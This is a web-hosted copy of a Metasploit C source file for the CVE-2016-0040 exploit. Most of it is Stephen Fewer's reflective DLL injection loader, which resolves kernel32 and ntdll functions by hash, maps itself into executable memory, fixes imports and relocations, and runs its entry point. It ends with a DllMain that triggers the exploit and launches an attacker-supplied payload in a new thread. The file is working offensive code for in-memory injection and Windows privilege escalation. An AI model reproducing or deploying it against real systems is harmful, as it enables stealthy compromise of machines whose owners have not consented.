Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/external/source/exploits/CVE-2016-0040/Metasploit/Metasploit.c
Views: 11784
//===============================================================================================//1// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com)2// All rights reserved.3//4// Redistribution and use in source and binary forms, with or without modification, are permitted5// provided that the following conditions are met:6//7// * Redistributions of source code must retain the above copyright notice, this list of8// conditions and the following disclaimer.9//10// * Redistributions in binary form must reproduce the above copyright notice, this list of11// conditions and the following disclaimer in the documentation and/or other materials provided12// with the distribution.13//14// * Neither the name of Harmony Security nor the names of its contributors may be used to15// endorse or promote products derived from this software without specific prior written permission.16//17// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR18// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND19// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR20// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR21// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR22// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY23// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR24// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE25// POSSIBILITY OF SUCH DAMAGE.26//===============================================================================================//27#include "Metasploit.h"28//===============================================================================================//2930#ifdef _DEBUG31#define LOG(fmt, ...) printf(fmt, ##__VA_ARGS__)32#else33#define LOG34#endif //_DEBUG3536// Our loader will set this to a pseudo correct HINSTANCE/HMODULE value37HINSTANCE hAppInstance = NULL;38//===============================================================================================//39#pragma intrinsic( _ReturnAddress )40// This function can not be inlined by the compiler or we will not get the address we expect. Ideally41// this code will be compiled with the /O2 and /Ob1 switches. Bonus points if we could take advantage of42// RIP relative addressing in this instance but I dont believe we can do so with the compiler intrinsics43// available (and no inline asm available under x64).44__declspec(noinline) ULONG_PTR caller( VOID ) { return (ULONG_PTR)_ReturnAddress(); }45//===============================================================================================//4647// Note 1: If you want to have your own DllMain, define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN,48// otherwise the DllMain at the end of this file will be used.4950// Note 2: If you are injecting the DLL via LoadRemoteLibraryR, define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR,51// otherwise it is assumed you are calling the ReflectiveLoader via a stub.5253// This is our position independent reflective DLL loader/injector54#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR55DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader( LPVOID lpParameter )56#else57DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader( VOID )58#endif59{60// the functions we need61LOADLIBRARYA pLoadLibraryA = NULL;62GETPROCADDRESS pGetProcAddress = NULL;63VIRTUALALLOC pVirtualAlloc = NULL;64NTFLUSHINSTRUCTIONCACHE pNtFlushInstructionCache = NULL;6566USHORT usCounter;6768// the initial location of this image in memory69ULONG_PTR uiLibraryAddress;70// the kernels base address and later this images newly loaded base address71ULONG_PTR uiBaseAddress;7273// variables for processing the kernels export table74ULONG_PTR uiAddressArray;75ULONG_PTR uiNameArray;76ULONG_PTR uiExportDir;77ULONG_PTR uiNameOrdinals;78DWORD dwHashValue;7980// variables for loading this image81ULONG_PTR uiHeaderValue;82ULONG_PTR uiValueA;83ULONG_PTR uiValueB;84ULONG_PTR uiValueC;85ULONG_PTR uiValueD;86ULONG_PTR uiValueE;8788// STEP 0: calculate our images current base address8990// we will start searching backwards from our callers return address.91uiLibraryAddress = caller();9293// loop through memory backwards searching for our images base address94// we dont need SEH style search as we shouldnt generate any access violations with this95while( TRUE )96{97if( ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_magic == IMAGE_DOS_SIGNATURE )98{99uiHeaderValue = ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;100// some x64 dll's can trigger a bogus signature (IMAGE_DOS_SIGNATURE == 'POP r10'),101// we sanity check the e_lfanew with an upper threshold value of 1024 to avoid problems.102if( uiHeaderValue >= sizeof(IMAGE_DOS_HEADER) && uiHeaderValue < 1024 )103{104uiHeaderValue += uiLibraryAddress;105// break if we have found a valid MZ/PE header106if( ((PIMAGE_NT_HEADERS)uiHeaderValue)->Signature == IMAGE_NT_SIGNATURE )107break;108}109}110uiLibraryAddress--;111}112113// STEP 1: process the kernels exports for the functions our loader needs...114115// get the Process Enviroment Block116#ifdef WIN_X64117uiBaseAddress = __readgsqword( 0x60 );118#else119#ifdef WIN_X86120uiBaseAddress = __readfsdword( 0x30 );121#else WIN_ARM122uiBaseAddress = *(DWORD *)( (BYTE *)_MoveFromCoprocessor( 15, 0, 13, 0, 2 ) + 0x30 );123#endif124#endif125126// get the processes loaded modules. ref: http://msdn.microsoft.com/en-us/library/aa813708(VS.85).aspx127uiBaseAddress = (ULONG_PTR)((_PPEB)uiBaseAddress)->pLdr;128129// get the first entry of the InMemoryOrder module list130uiValueA = (ULONG_PTR)((PPEB_LDR_DATA)uiBaseAddress)->InMemoryOrderModuleList.Flink;131while( uiValueA )132{133// get pointer to current modules name (unicode string)134uiValueB = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.pBuffer;135// set bCounter to the length for the loop136usCounter = ((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.Length;137// clear uiValueC which will store the hash of the module name138uiValueC = 0;139140// compute the hash of the module name...141do142{143uiValueC = ror( (DWORD)uiValueC );144// normalize to uppercase if the madule name is in lowercase145if( *((BYTE *)uiValueB) >= 'a' )146uiValueC += *((BYTE *)uiValueB) - 0x20;147else148uiValueC += *((BYTE *)uiValueB);149uiValueB++;150} while( --usCounter );151152// compare the hash with that of kernel32.dll153if( (DWORD)uiValueC == KERNEL32DLL_HASH )154{155// get this modules base address156uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase;157158// get the VA of the modules NT Header159uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;160161// uiNameArray = the address of the modules export directory entry162uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];163164// get the VA of the export directory165uiExportDir = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );166167// get the VA for the array of name pointers168uiNameArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames );169170// get the VA for the array of name ordinals171uiNameOrdinals = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals );172173usCounter = 3;174175// loop while we still have imports to find176while( usCounter > 0 )177{178// compute the hash values for this function name179dwHashValue = hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) ) );180181// if we have found a function we want we get its virtual address182if( dwHashValue == LOADLIBRARYA_HASH || dwHashValue == GETPROCADDRESS_HASH || dwHashValue == VIRTUALALLOC_HASH )183{184// get the VA for the array of addresses185uiAddressArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );186187// use this functions name ordinal as an index into the array of name pointers188uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) );189190// store this functions VA191if( dwHashValue == LOADLIBRARYA_HASH )192pLoadLibraryA = (LOADLIBRARYA)( uiBaseAddress + DEREF_32( uiAddressArray ) );193else if( dwHashValue == GETPROCADDRESS_HASH )194pGetProcAddress = (GETPROCADDRESS)( uiBaseAddress + DEREF_32( uiAddressArray ) );195else if( dwHashValue == VIRTUALALLOC_HASH )196pVirtualAlloc = (VIRTUALALLOC)( uiBaseAddress + DEREF_32( uiAddressArray ) );197198// decrement our counter199usCounter--;200}201202// get the next exported function name203uiNameArray += sizeof(DWORD);204205// get the next exported function name ordinal206uiNameOrdinals += sizeof(WORD);207}208}209else if( (DWORD)uiValueC == NTDLLDLL_HASH )210{211// get this modules base address212uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase;213214// get the VA of the modules NT Header215uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;216217// uiNameArray = the address of the modules export directory entry218uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];219220// get the VA of the export directory221uiExportDir = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );222223// get the VA for the array of name pointers224uiNameArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames );225226// get the VA for the array of name ordinals227uiNameOrdinals = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals );228229usCounter = 1;230231// loop while we still have imports to find232while( usCounter > 0 )233{234// compute the hash values for this function name235dwHashValue = hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) ) );236237// if we have found a function we want we get its virtual address238if( dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH )239{240// get the VA for the array of addresses241uiAddressArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );242243// use this functions name ordinal as an index into the array of name pointers244uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) );245246// store this functions VA247if( dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH )248pNtFlushInstructionCache = (NTFLUSHINSTRUCTIONCACHE)( uiBaseAddress + DEREF_32( uiAddressArray ) );249250// decrement our counter251usCounter--;252}253254// get the next exported function name255uiNameArray += sizeof(DWORD);256257// get the next exported function name ordinal258uiNameOrdinals += sizeof(WORD);259}260}261262// we stop searching when we have found everything we need.263if( pLoadLibraryA && pGetProcAddress && pVirtualAlloc && pNtFlushInstructionCache )264break;265266// get the next entry267uiValueA = DEREF( uiValueA );268}269270// STEP 2: load our image into a new permanent location in memory...271272// get the VA of the NT Header for the PE to be loaded273uiHeaderValue = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;274275// allocate all the memory for the DLL to be loaded into. we can load at any address because we will276// relocate the image. Also zeros all memory and marks it as READ, WRITE and EXECUTE to avoid any problems.277uiBaseAddress = (ULONG_PTR)pVirtualAlloc( NULL, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE );278279// we must now copy over the headers280uiValueA = ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfHeaders;281uiValueB = uiLibraryAddress;282uiValueC = uiBaseAddress;283284while( uiValueA-- )285*(BYTE *)uiValueC++ = *(BYTE *)uiValueB++;286287// STEP 3: load in all of our sections...288289// uiValueA = the VA of the first section290uiValueA = ( (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader + ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.SizeOfOptionalHeader );291292// itterate through all sections, loading them into memory.293uiValueE = ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.NumberOfSections;294while( uiValueE-- )295{296// uiValueB is the VA for this section297uiValueB = ( uiBaseAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->VirtualAddress );298299// uiValueC if the VA for this sections data300uiValueC = ( uiLibraryAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->PointerToRawData );301302// copy the section over303uiValueD = ((PIMAGE_SECTION_HEADER)uiValueA)->SizeOfRawData;304305while( uiValueD-- )306*(BYTE *)uiValueB++ = *(BYTE *)uiValueC++;307308// get the VA of the next section309uiValueA += sizeof( IMAGE_SECTION_HEADER );310}311312// STEP 4: process our images import table...313314// uiValueB = the address of the import directory315uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_IMPORT ];316317// we assume there is an import table to process318// uiValueC is the first entry in the import table319uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress );320321// iterate through all imports322while( ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name )323{324// use LoadLibraryA to load the imported module into memory325uiLibraryAddress = (ULONG_PTR)pLoadLibraryA( (LPCSTR)( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name ) );326327// uiValueD = VA of the OriginalFirstThunk328uiValueD = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->OriginalFirstThunk );329330// uiValueA = VA of the IAT (via first thunk not origionalfirstthunk)331uiValueA = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->FirstThunk );332333// itterate through all imported functions, importing by ordinal if no name present334while( DEREF(uiValueA) )335{336// sanity check uiValueD as some compilers only import by FirstThunk337if( uiValueD && ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal & IMAGE_ORDINAL_FLAG )338{339// get the VA of the modules NT Header340uiExportDir = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;341342// uiNameArray = the address of the modules export directory entry343uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];344345// get the VA of the export directory346uiExportDir = ( uiLibraryAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );347348// get the VA for the array of addresses349uiAddressArray = ( uiLibraryAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );350351// use the import ordinal (- export ordinal base) as an index into the array of addresses352uiAddressArray += ( ( IMAGE_ORDINAL( ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal ) - ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->Base ) * sizeof(DWORD) );353354// patch in the address for this imported function355DEREF(uiValueA) = ( uiLibraryAddress + DEREF_32(uiAddressArray) );356}357else358{359// get the VA of this functions import by name struct360uiValueB = ( uiBaseAddress + DEREF(uiValueA) );361362// use GetProcAddress and patch in the address for this imported function363DEREF(uiValueA) = (ULONG_PTR)pGetProcAddress( (HMODULE)uiLibraryAddress, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name );364}365// get the next imported function366uiValueA += sizeof( ULONG_PTR );367if( uiValueD )368uiValueD += sizeof( ULONG_PTR );369}370371// get the next import372uiValueC += sizeof( IMAGE_IMPORT_DESCRIPTOR );373}374375// STEP 5: process all of our images relocations...376377// calculate the base address delta and perform relocations (even if we load at desired image base)378uiLibraryAddress = uiBaseAddress - ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.ImageBase;379380// uiValueB = the address of the relocation directory381uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_BASERELOC ];382383// check if their are any relocations present384if( ((PIMAGE_DATA_DIRECTORY)uiValueB)->Size )385{386// uiValueC is now the first entry (IMAGE_BASE_RELOCATION)387uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress );388389// and we itterate through all entries...390while( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock )391{392// uiValueA = the VA for this relocation block393uiValueA = ( uiBaseAddress + ((PIMAGE_BASE_RELOCATION)uiValueC)->VirtualAddress );394395// uiValueB = number of entries in this relocation block396uiValueB = ( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION) ) / sizeof( IMAGE_RELOC );397398// uiValueD is now the first entry in the current relocation block399uiValueD = uiValueC + sizeof(IMAGE_BASE_RELOCATION);400401// we itterate through all the entries in the current block...402while( uiValueB-- )403{404// perform the relocation, skipping IMAGE_REL_BASED_ABSOLUTE as required.405// we dont use a switch statement to avoid the compiler building a jump table406// which would not be very position independent!407if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_DIR64 )408*(ULONG_PTR *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += uiLibraryAddress;409else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGHLOW )410*(DWORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += (DWORD)uiLibraryAddress;411#ifdef WIN_ARM412// Note: On ARM, the compiler optimization /O2 seems to introduce an off by one issue, possibly a code gen bug. Using /O1 instead avoids this problem.413else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_ARM_MOV32T )414{415register DWORD dwInstruction;416register DWORD dwAddress;417register WORD wImm;418// get the MOV.T instructions DWORD value (We add 4 to the offset to go past the first MOV.W which handles the low word)419dwInstruction = *(DWORD *)( uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD) );420// flip the words to get the instruction as expected421dwInstruction = MAKELONG( HIWORD(dwInstruction), LOWORD(dwInstruction) );422// sanity chack we are processing a MOV instruction...423if( (dwInstruction & ARM_MOV_MASK) == ARM_MOVT )424{425// pull out the encoded 16bit value (the high portion of the address-to-relocate)426wImm = (WORD)( dwInstruction & 0x000000FF);427wImm |= (WORD)((dwInstruction & 0x00007000) >> 4);428wImm |= (WORD)((dwInstruction & 0x04000000) >> 15);429wImm |= (WORD)((dwInstruction & 0x000F0000) >> 4);430// apply the relocation to the target address431dwAddress = ( (WORD)HIWORD(uiLibraryAddress) + wImm ) & 0xFFFF;432// now create a new instruction with the same opcode and register param.433dwInstruction = (DWORD)( dwInstruction & ARM_MOV_MASK2 );434// patch in the relocated address...435dwInstruction |= (DWORD)(dwAddress & 0x00FF);436dwInstruction |= (DWORD)(dwAddress & 0x0700) << 4;437dwInstruction |= (DWORD)(dwAddress & 0x0800) << 15;438dwInstruction |= (DWORD)(dwAddress & 0xF000) << 4;439// now flip the instructions words and patch back into the code...440*(DWORD *)( uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD) ) = MAKELONG( HIWORD(dwInstruction), LOWORD(dwInstruction) );441}442}443#endif444else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGH )445*(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += HIWORD(uiLibraryAddress);446else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_LOW )447*(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += LOWORD(uiLibraryAddress);448449// get the next entry in the current relocation block450uiValueD += sizeof( IMAGE_RELOC );451}452453// get the next entry in the relocation directory454uiValueC = uiValueC + ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock;455}456}457458// STEP 6: call our images entry point459460// uiValueA = the VA of our newly loaded DLL/EXE's entry point461uiValueA = ( uiBaseAddress + ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.AddressOfEntryPoint );462463// We must flush the instruction cache to avoid stale code being used which was updated by our relocation processing.464pNtFlushInstructionCache( (HANDLE)-1, NULL, 0 );465466// call our respective entry point, fudging our hInstance value467#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR468// if we are injecting a DLL via LoadRemoteLibraryR we call DllMain and pass in our parameter (via the DllMain lpReserved parameter)469((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, lpParameter );470#else471// if we are injecting an DLL via a stub we call DllMain with no parameter472((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, NULL );473#endif474475// STEP 8: return our new entry point address so whatever called us can call DllMain() if needed.476return uiValueA;477}478//===============================================================================================//479#ifndef REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN480481#include <stdio.h>482483#include <library/library.h>484485DWORD WINAPI ExecutePayload(LPVOID lpPayload)486{487VOID(*lpCode)() = (VOID(*)())lpPayload;488lpCode();489490return ERROR_SUCCESS;491}492493BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved )494{495BOOL bReturnValue = TRUE;496switch( dwReason )497{498case DLL_QUERY_HMODULE:499if( lpReserved != NULL )500*(HMODULE *)lpReserved = hAppInstance;501break;502case DLL_PROCESS_ATTACH:503hAppInstance = hinstDLL;504if (TriggerExploit() == TRUE) {505LOG("[+] Exploitation Completed\n");506if (lpReserved != NULL) {507LOG("[+] Launching Payload\n");508CreateThread(0, 0, &ExecutePayload, lpReserved, 0, NULL);509}510}511else {512LOG("[-] Exploitation Failed\n");513}514515break;516case DLL_PROCESS_DETACH:517case DLL_THREAD_ATTACH:518case DLL_THREAD_DETACH:519break;520}521return bReturnValue;522}523524#endif525//===============================================================================================//526527528